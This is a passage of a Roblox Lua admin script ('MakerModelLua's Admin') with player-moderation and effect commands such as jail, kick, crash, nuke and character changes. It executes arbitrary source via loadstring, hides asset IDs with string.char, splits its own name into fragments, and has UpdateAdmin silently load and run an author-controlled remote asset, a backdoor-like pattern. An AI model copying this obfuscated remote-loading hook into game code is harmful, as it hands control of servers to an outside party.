  846. function CORE:HandleError(Error, Speaker)
  847.     local Return = ""
  848.     if not Error or Error == "" then
  849.         Return = "Unknown Error"
  850.     else
  851.         Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  852.     end
  853.     if Speaker then
  854.         GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  855.     end
  856.     return Return
  857. end
  858.  
  859. local function ExecuteSafe(Source, Speaker) -- no CORE
  860.     local Script, Error = loadstring(Source)
  861.     if Error then
  862.         return false, CORE:HandleError(Error, Speaker)
  863.     else
  864.         getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  865.         getfenv(Script).Server, getfenv(Script).script = Server,script
  866.         if Speaker then
  867.             getfenv(Script).print = function(...)
  868.                 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  869.             end
  870.             getfenv(Script).print_array = function(List)
  871.                 if type(List) == "table" then
  872.                     GUI:ListGui(Speaker, "Listed Table", List, "Output")
  873.                 end
  874.             end
  875.         end
  876.        
  877.         local Suc, Error = ypcall(coroutine.wrap(Script))
  878.        
  879.         if not Suc then
  880.             Error = CORE:HandleError(Error, Speaker)
  881.         end
  882.        
  883.         return Suc,Error
  884.     end
  885. end
  886.  
  887. function CORE:GetTime(Regular, FullDate)
  888.     if Regular == nil then Regular = true end
  889.     local Meridiem = ""
  890.     if Regular == true then Meridiem = " AM" end
  891.     local SecondsOfToday = math.fmod(os.time(), 60*60*24)
  892.     local Hour = math.floor(SecondsOfToday / (60*60))
  893.     local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  894.     local Second = math.floor(math.fmod(SecondsOfToday, 60))
  895.     if Hour > 12 and Regular == true then
  896.         Hour = Hour - 12
  897.         Meridiem = " PM"
  898.     end
  899.     Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  900.     if #Hour <= 1 then Hour = "0"..Hour end
  901.     if #Minute <= 1 then Minute = "0"..Minute end
  902.     if #Second <= 1 then Second = "0"..Second end
  903.     local Return = Hour..":"..Minute..":"..Second..Meridiem
  904.     if FullDate == true and Date then Return = Date.." "..Return end
  905.     return Return
  906. end
  907.  
  908. function CORE:RemoveAdmin(Speaker)
  909.     local Answer = true -- false
  910.     if not CORE:NilPlayer(Speaker) then
  911.         Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  912.     end
  913.     if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  914.         if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
  915.         for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  916.             for _,Item in pairs(Player:GetChildren()) do
  917.                 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
  918.                     Item:Destroy()
  919.                 end
  920.             end
  921.             for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  922.                 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  923.                     GUI:Destroy()
  924.                 end
  925.             end
  926.         end end
  927.         for _,Car in pairs(Cars) do
  928.             Car:Destroy()
  929.         end
  930.         CORE:FixLighting()
  931.         while wait() do
  932.             if script:FindFirstChild("Override") then script.Override.Value = true end
  933.             Settings,CORE,IRC = nil,{},{}
  934.             if Sound then Sound:Stop() end
  935.             if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  936.             script:ClearAllChildren() script:Destroy() script.Disabled = true
  937.         end
  938.     end
  939. end
  940.  
  941. function CORE:MakeBase()
  942.     for _,Get in pairs(Workspace:GetChildren()) do
  943.         if Get.Name == "Base" or Get.Name == "BasePlate" then
  944.             Get:Destroy()
  945.         end
  946.     end
  947.     local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  948. end
  949.  
  950. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
  951.     if IsAbusive == nil then IsAbusive = false end
  952.     if Commands[CommandName] then table.remove(Commands[CommandName]) end
  953.     Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
  954. end
  955.  
  956. function CORE:FixLighting() coroutine.wrap(function()
  957.     ModLighting = false
  958.     wait(0.2)
  959.     Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  960.     Server.Lighting.FogColor = Color3.new(0,0,0)
  961.     Server.Lighting.Brightness = 1
  962.     Server.Lighting.TimeOfDay = 14
  963.     Server.Lighting.FogEnd = 100000
  964. end)() end
  965.  
  966. function CORE:Round(Number)
  967.     if Number >= 0.5 then
  968.         return math.ceil(Number)
  969.     elseif Number < 0.5 then
  970.         return math.floor(Number)
  971.     end
  972. end
  973.  
  974. local AdminID,Got = nil,false
  975. repeat wait()
  976.     Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  977. until Got == true
  978.  
  979. function CORE:GetTable(ID)
  980.     local Thing = nil
  981.     repeat wait()
  982.         ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  983.     until Thing
  984.     return Thing
  985. end
  986.  
  987. function CORE:InAdminGroup(Speaker)
  988.     local IsIn = false
  989.     for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  990.         if Speaker:IsInGroup(Get) then
  991.             IsIn = true
  992.         end
  993.     end
  994.     if IsIn == true then
  995.         return true
  996.     else
  997.         GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  998.         return false
  999.     end
  1000. end
  1001.  
  1002. function CORE:ReverseTable(Table)
  1003.     if type(Table) ~= "table" then return Table end
  1004.     local NewTable = {}
  1005.     for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  1006.     return NewTable
  1007. end
  1008.  
  1009. function CORE:Log(LogTable, Player, Chat)
  1010.     local PlayerName = tostring(Player)
  1011.     if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  1012.     table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  1013. end
  1014.  
  1015. function CORE:Jail(Player)
  1016.     if not Player then return nil end
  1017.     local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  1018.     Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  1019.     local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  1020.     local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  1021.     local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  1022.     local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  1023.     Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  1024.     Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  1025.     Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  1026.     local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  1027.     Cell:MoveTo(Vector3.new(0,3,0))
  1028.    
  1029.     if Player.Character and Player.Character:FindFirstChild("Torso") then
  1030.         Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  1031.         Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  1032.     end
  1033.     table.insert(Dispose, Cell)
  1034.     Jails[Player.Name] = Cell
  1035. end
  1036.  
  1037. function CORE:UnJail(Player)
  1038.     if not Player then return nil end
  1039.     if Jails[Player.Name] then
  1040.         Jails[Player.Name]:Destroy()
  1041.         Jails[Player.Name] = nil
  1042.     end
  1043. end
  1044.  
  1045. function CORE:ChangeName(Player, NewName)
  1046.     if not Player or not NewName then return nil end
  1047.     if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
  1048.         local NewName = STRING:FormatReplace(Player, NewName)
  1049.        
  1050.         for _,Obj in pairs(Player.Character:GetChildren()) do
  1051.             if Obj.Name == "Label" then Obj:Destroy() end
  1052.         end
  1053.        
  1054.         local Head = Player.Character.Head
  1055.         local HeadClone = Head:Clone()
  1056.        
  1057.         -- make actual head invisible
  1058.         Head.Transparency = 1
  1059.         ypcall(function() Head.face.Transparency = 1 end)
  1060.  
  1061.         -- make fake head visible
  1062.         HeadClone.Transparency = 0
  1063.         ypcall(function() HeadClone.face.Transparency = 0 end)
  1064.  
  1065.         local Label = Instance.new("Model", Player.Character)
  1066.         Label.Name = "Label"
  1067.  
  1068.         local Model = Instance.new("Model", Label)
  1069.         Model.Name = NewName
  1070.  
  1071.         local HumanoidClone = Instance.new("Humanoid", Model)
  1072.         coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1073.  
  1074.         HeadClone.Position = Vector3.new(0,100,0)
  1075.         HeadClone.CanCollide = false
  1076.         ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  1077.        
  1078.        
  1079.         Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
  1080.             HeadClone.Parent = Model
  1081.             local Weld = Instance.new("Weld", HeadClone)
  1082.             Weld.Part0 = HeadClone
  1083.             Weld.Part1 = Head
  1084.         end)
  1085.     end
  1086. end
  1087.  
  1088. function CORE:UpdateAdmin()
  1089.     if Server.Storage:FindFirstChild("PreventMMLUpdate") then
  1090.         return nil
  1091.     end
  1092.     local UpdateModel = AdminID
  1093.     if UpdateModel == 0 then return end
  1094.     local NewAdminModel = nil
  1095.     ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
  1096.     if NewAdminModel then
  1097.         local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  1098.         if NewAdmin then
  1099.             local NewVersion = NewAdmin:FindFirstChild("Version")
  1100.             if NewVersion.Value ~= CORE.Version.Value then
  1101.                 if ExploitModule then
  1102.                     ExploitModule.Disabled = true
  1103.                     ExploitModule:Destroy()
  1104.                 end
  1105.                 NewAdmin.Disabled = true
  1106.                 NewAdmin.Parent = Workspace
  1107.                 if not Settings then
  1108.                     local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  1109.                     if NewSettings then NewSettings.Parent = Workspace end
  1110.                 end
  1111.                 wait() NewAdmin.Disabled = false
  1112.                 CORE:RemoveAdmin()
  1113.             else
  1114.                 NewAdminModel:Destroy()
  1115.             end
  1116.         end
  1117.     end
  1118. end
  1119.  
  1120. function CORE:UnpackPlayers(Players)
  1121.     local PlayerNames = ""
  1122.     for Num,Player in pairs(Players) do
  1123.         if Player ~= nil then
  1124.             if Num ~= #Players then
  1125.                 PlayerNames = PlayerNames..Player.Name..", "
  1126.             else
  1127.                 PlayerNames = PlayerNames..Player.Name
  1128.             end
  1129.         end
  1130.     end
  1131.     return PlayerNames
  1132. end
  1133.  
  1134. function CORE:GetValue(Value)
  1135.     if Value:IsA("StringValue") then
  1136.         if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  1137.         if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  1138.         if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  1139.         if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  1140.         if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  1141.         if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  1142.         if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  1143.             for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  1144.                 if Admin == Value.Value then
  1145.                     table.remove(Settings.Ranks["Admin"],Num)
  1146.                 end
  1147.             end
  1148.         end end
  1149.     end
  1150. end
  1151.  
  1152. function CORE:GetPlayer(ID)
  1153.     local Return = {"Unknown", ID}
  1154.     if tonumber(ID) then
  1155.         for _,Data in pairs(CharacterCache) do
  1156.             if ID == Data[2] then
  1157.                 return Data
  1158.             end
  1159.         end
  1160.         ypcall(function()
  1161.             local Name = Server.Players:GetNameFromUserIdAsync(ID)
  1162.             if Name then
  1163.                 local Data = {Name, ID}
  1164.                 table.insert(CharacterCache, Data)
  1165.                 Return = Data
  1166.             end
  1167.         end)
  1168.     else
  1169.         local Name = tostring(ID)
  1170.         for _,Data in pairs(CharacterCache) do
  1171.             if string.lower(Name) == string.lower(Data[1]) then
  1172.                 return Data
  1173.             end
  1174.         end
  1175.         ypcall(function()
  1176.             local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  1177.             if PlayerID then
  1178.                 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  1179.                 local Data = {Name, PlayerID}
  1180.                 table.insert(CharacterCache, Data)
  1181.                 Return = Data
  1182.             end
  1183.         end)
  1184.     end
  1185.    
  1186.     return Return
  1187. end
  1188.  
  1189. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  1190.     if ID and #tostring(ID) >= 1 then
  1191.         local PlayerName = nil
  1192.        
  1193.         local Players = STRING:Scan(ID, Speaker)
  1194.         if #Players >= 1 then -- if player is found in server
  1195.             ID = Players[1].UserId
  1196.         elseif tonumber(ID) then
  1197.             local Data = CORE:GetPlayer(ID)
  1198.             PlayerName = Data[1]
  1199.         else
  1200.             local Data = CORE:GetPlayer(tostring(ID))
  1201.             PlayerName = Data[1]
  1202.             ID = Data[2]
  1203.         end
  1204.        
  1205.         if tonumber(ID) == 20018 then -- exploding easter bunny
  1206.             local OldID = ID
  1207.             ID = 1
  1208.             if Speaker then
  1209.                 if RANK:GetRank(Speaker) == "Member" then
  1210.                     coroutine.wrap(function()
  1211.                         wait(1)
  1212.                         GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  1213.                     end)()
  1214.                 else ID = OldID
  1215.                 end
  1216.             end
  1217.         elseif tonumber(ID) == 1311 then -- ffjosh
  1218.             local OldID = ID
  1219.             ID = 1
  1220.             if Speaker then
  1221.                 if RANK:GetRank(Speaker) == "Member" then
  1222.                     coroutine.wrap(function()
  1223.                         wait(1)
  1224.                         GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
  1225.                     end)()
  1226.                 else ID = OldID
  1227.                 end
  1228.             end
  1229.         end
  1230.        
  1231.         if tonumber(ID) then
  1232.             local Position = nil
  1233.             if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  1234.                 if ManualPos then
  1235.                     Position = ManualPos
  1236.                 else
  1237.                     Position = Player.Character.Torso.Position
  1238.                 end
  1239.             end
  1240.             Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  1241.             wait() Player:LoadCharacter() wait()
  1242.             if Position then Player.Character:MoveTo(Position) end
  1243.             if not Perm then
  1244.                 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
  1245.             end
  1246.             if NameChar and PlayerName then
  1247.                 wait(2)
  1248.                 CORE:ChangeName(Player, PlayerName)
  1249.             end
  1250.         end
  1251.     end
  1252. end)() end
  1253.  
  1254. function CORE:GenerateShield(Player)
  1255.     if not Player then return nil end
  1256.     if not Player.Character then return nil end
  1257.     local Torso = Player.Character:FindFirstChild("Torso")
  1258.     if not Torso then return nil end
  1259.    
  1260.     local Shield = Player.Character:FindFirstChild("Shield")
  1261.     if Shield then Shield:Destroy() end
  1262.    
  1263.     Shield = Instance.new("Part", Player.Character)
  1264.     Shield.Name = "Shield"
  1265.     Shield.Locked = true
  1266.     Shield.CanCollide = false
  1267.     Shield.Size = Vector3.new(10,10,10)
  1268.     Shield.Shape = "Ball"
  1269.     Shield.Color = GUI:GetColor()
  1270.     Shield.Transparency = 0.5
  1271.     Shield.TopSurface = "Smooth"
  1272.     Shield.BottomSurface = "Smooth"
  1273.     Shield.Anchored = true
  1274.     Shield.Position = Torso.Position
  1275.    
  1276.     local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1277.     local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1278.    
  1279.     Hum:Play()
  1280.    
  1281.     Shield.Touched:connect(function(Part)
  1282.         if Part.Parent ~= Server.Workspace then
  1283.             local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1284.             if Humanoid then
  1285.                 local Char = Humanoid.Parent
  1286.                 if Char:IsA("Model") and Humanoid.Health > 0 then
  1287.                     if Char ~= Player.Character then
  1288.                         Char:BreakJoints()
  1289.                         Zap:Play()
  1290.                     end
  1291.                 end
  1292.             end
  1293.         end
  1294.     end)
  1295.    
  1296.     coroutine.wrap(function() repeat wait()
  1297.         Shield.CFrame = Torso.CFrame
  1298.     until Torso.Parent == nil or Shield.Parent == nil end)()
  1299. end
  1300.  
  1301. function CORE:FlingPlayer(Player)
  1302.     if Player and Player.Character then
  1303.         if Player.Character:FindFirstChild("Torso") then
  1304.             local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1305.             Fling.Name = "Fling"
  1306.             Fling.force = Vector3.new(10000,10000,10000)
  1307.         end
  1308.     end
  1309. end
  1310.  
  1311. function CORE:Kick(Player, CustomMessage)
  1312.     if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1313.     coroutine.wrap(function()
  1314.         CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1315.         wait(1)
  1316.         Player:Kick(CustomMessage)
  1317.     end)()
  1318. end
  1319.  
  1320. function CORE:Crash(Player)
  1321.     local Parent = Player
  1322.     if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1323.     elseif Player.Character then Parent = Player.Character end
  1324.    
  1325.     CORE:ExecuteResource("Crash", Parent)
  1326. end
  1327.  
  1328. function CORE:RestoreCamera(Player)
  1329.     if Player.Backpack then
  1330.         CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1331.     end
  1332. end
  1333.  
  1334. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1335.     local function ScanInstance(Object)
  1336.         if #Object:GetChildren() > 0 then
  1337.             for _,Obj in pairs(Object:GetChildren()) do
  1338.                 local IsType = false
  1339.                 if ObjTypes and #ObjTypes > 0 then
  1340.                     for _,ObjType in pairs(ObjTypes) do
  1341.                         if Obj:IsA(ObjType) then
  1342.                             IsType = true
  1343.                             break
  1344.                         end
  1345.                     end
  1346.                 else
  1347.                     IsType = true
  1348.                 end
  1349.                 if IsType == true then
  1350.                     ActiveFunc(Obj)
  1351.                 end
  1352.                 ScanInstance(Obj)
  1353.             end
  1354.         end
  1355.     end
  1356.     ScanInstance(BaseObj)
  1357. end
  1358.  
  1359. function CORE:AnchorPlayer(Player)
  1360.     if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1361.    
  1362.     Player.Character.Humanoid.WalkSpeed = 0
  1363.     for _,Object in pairs(Player.Character:GetChildren()) do
  1364.         if Object:IsA("BasePart") then
  1365.             Object.Anchored = true
  1366.         end
  1367.     end
  1368. end
  1369.  
  1370. function CORE:UnanchorPlayer(Player)
  1371.     if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1372.    
  1373.     Player.Character.Humanoid.WalkSpeed = 16
  1374.     for _,Object in pairs(Player.Character:GetChildren()) do
  1375.         if Object:IsA("BasePart") then
  1376.             Object.Anchored = false
  1377.         end
  1378.     end
  1379. end
  1380.  
  1381. function CORE:InvisiblePlayer(Player)
  1382.     if not Player or not Player.Character then return end
  1383.    
  1384.     CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1385. end
  1386.  
  1387. function CORE:VisiblePlayer(Player)
  1388.     if not Player or not Player.Character then return end
  1389.    
  1390.     CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1391. end
  1392.  
  1393. function CORE:Nuke(Player) coroutine.wrap(function()
  1394.     local Pos = CFrame.new(0,1,0)
  1395.     if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1396.     local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1397.     local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1398.     local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1399.     local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1400.     local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1401.    
  1402.     local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
  1403.    
  1404.     Server.Lighting.Brightness = 5
  1405.     Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1406.     Server.OutdoorAmbient = Color3.new(1,1,1)
  1407.    
  1408.     local Exp = Instance.new("Explosion", Server.Workspace)
  1409.     Exp.Position = Pos.p
  1410.     Exp.BlastPressure = 10000000
  1411.     Exp.BlastRadius = 1000000
  1412.     Exp.Hit:connect(function(Part)
  1413.         if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1414.             ypcall(function()
  1415.                 Part.Anchored = false
  1416.                 Part.BrickColor = BrickColor.new("Black")
  1417.                 Part.Material = "Slate"
  1418.                 Part:BreakJoints() 
  1419.             end)
  1420.         end
  1421.     end)
  1422.  
  1423.     local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
  1424.     BoomSound:Play()
  1425.     for i = 0,100,0.5 do
  1426.         Blast.Anchored = true
  1427.         Wave.Anchored = true
  1428.         BlastMesh.Scale = Vector3.new(i,i,i)
  1429.         WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1430.         Blast.CFrame = Pos
  1431.         wait()
  1432.     end
  1433.     BoomSound:Stop()
  1434.     Blast:Destroy()
  1435.     Wave:Destroy()
  1436.     wait()
  1437.     BoomSound:Destroy()
  1438.     Effect:Destroy()
  1439.     for i = 10,5,-1 do
  1440.         Server.Lighting.Brightness = (i-5) + 1
  1441.         Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1442.         Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1443.         wait(0.05)
  1444.     end
  1445. end)() end
  1446.  
  1447. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1448.     local AssetID = tonumber(AssetID)
  1449.     local Item = nil
  1450.     if AssetID and AssetID ~= 1055299 then
  1451.         local CanInsert = true
  1452.         if AbuseMode then
  1453.             for _,ID in pairs(RemoteAbuseGear) do
  1454.                 if AssetID == tonumber(ID) then CanInsert = false break end
  1455.             end
  1456.             for _,ID in pairs(Settings.AbusableGear) do
  1457.                 if AssetID == tonumber(ID) then CanInsert = false break end
  1458.             end
  1459.         end
  1460.         if CanInsert then
  1461.             Item = Server.IS:LoadAsset(AssetID)
  1462.             if GetFirstChild then
  1463.                 Item = Item:GetChildren()[1]
  1464.                 if FirstChildTypes and Item then
  1465.                     local ValidType = false
  1466.                     for _,Type in pairs(FirstChildTypes) do
  1467.                         if Item:IsA(Type) then
  1468.                             ValidType = true
  1469.                             break
  1470.                         end
  1471.                     end
  1472.                     if ValidType == false then
  1473.                         Item = nil
  1474.                     end
  1475.                 end
  1476.             end
  1477.             if Item and Parent then
  1478.                 Item.Parent = Parent
  1479.             end
  1480.         end
  1481.     end
  1482.     return Item
  1483. end
  1484.  
  1485. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1486.     if not Player or not Player.Character then return nil end
  1487.     PID = tonumber(PID)
  1488.     for _,Obj in pairs(Player.Character:GetChildren()) do
  1489.         if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1490.     end
  1491.     if PID then
  1492.         -- back when we needed HttpService to get packages.
  1493.         --[[
  1494.         if PackageCache[PID] then
  1495.             for _,ID in pairs(PackageCache[PID]) do
  1496.                 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1497.             end
  1498.         else
  1499.             local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1500.             if IDsJSON then
  1501.                 local IDs = REMOTE:Decode(IDsJSON)
  1502.                 if IDs then
  1503.                     if not IDs["Error"] then
  1504.                         table.insert(PackageCache, IDs)
  1505.                         for _,ID in pairs(IDs) do
  1506.                             CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1507.                         end
  1508.                     end
  1509.                 end
  1510.             end
  1511.         end
  1512.         ]]
  1513.         -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
  1514.         local IDs = {}
  1515.         ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
  1516.         if #IDs > 0 then
  1517.             for _,ID in pairs(IDs) do
  1518.                 local PackagePart = CORE:Insert(ID)
  1519.                 for _,Obj in pairs(PackagePart:GetChildren()) do
  1520.                     if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
  1521.                         Obj.Parent = Player.Character
  1522.                     elseif Obj:IsA("Folder") then
  1523.                         if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
  1524.                             Obj:GetChildren()[1].Parent = Player.Character
  1525.                         end
  1526.                     end
  1527.                 end
  1528.             end
  1529.         end
  1530.     end
  1531. end)() end
  1532.  
  1533. function CORE:ChangeBet(Bet)
  1534.     if tostring(Bet) and Bet ~= Settings.Bet then
  1535.         for Index,Data in pairs(Commands) do
  1536.             Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1537.         end
  1538.         Settings.Bet = Bet
  1539.     end
  1540. end
  1541.  
  1542. function CORE:ResetLighting()
  1543.     ModLighting = false wait(0.2) ModLighting = true
  1544. end
  1545.  
  1546. function CORE:Fly(Player, Force)
  1547.     if Player and Player.Character then
  1548.         local StopFly = Instance.new("RemoteFunction", Player.Character)
  1549.         StopFly.Name = "StopMMLFly"
  1550.         CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
  1551.     end
  1552. end
  1553.  
  1554. function CORE:GiveTools(Player, Type)
  1555.     if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1556.     Type = string.lower(Type)
  1557.     local _,RankNum = RANK:GetRank(Player)
  1558.     local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
